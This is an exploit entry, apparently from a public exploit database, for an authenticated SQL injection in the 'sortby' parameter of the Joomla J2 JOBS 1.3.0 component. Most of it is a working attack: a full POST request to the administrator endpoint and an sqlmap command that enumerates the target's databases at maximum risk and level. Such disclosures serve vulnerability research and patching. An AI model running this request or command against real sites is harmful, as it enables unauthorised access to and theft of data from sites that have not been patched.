# Exploit Title: Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection # Date: 2020-06-17 # Exploit Author: Mehmet Kelepçe / Gais Cyber Security # Vendor Homepage: https://joomsky.com/ # Software Link: https://joomsky.com/products/js-jobs-pro.html # Change Log (Update) : https://joomsky.com/products/js-jobs.html # Version: 1.3.0 # Tested on: Kali Linux - Apache2 Vulnerable param: sortby ------------------------------------------------------------------------- POST /joomla/administrator/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/joomla/administrator/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 233 Connection: close Cookie: COOKIES Upgrade-Insecure-Requests: 1 js_sortby=4&companyname=12&jobtitle=12&location=12&jobcategory=&jobtype=&datefrom=&dateto=&option=com_jsjobs&task=&c=job&view=job&callfrom=jobqueue&layout=jobqueue&sortby=asc&my_click=&boxchecked=0&d90ced5aa929447644f09b56c8d8ba12=1 ------------------------------------------------------------------------- sqlmap poc: sqlmap -r jsjobs --dbs --risk=3 --level=5 --random-agent -p sortby Mehmet KELEPÇE Penetration Tester | Red Team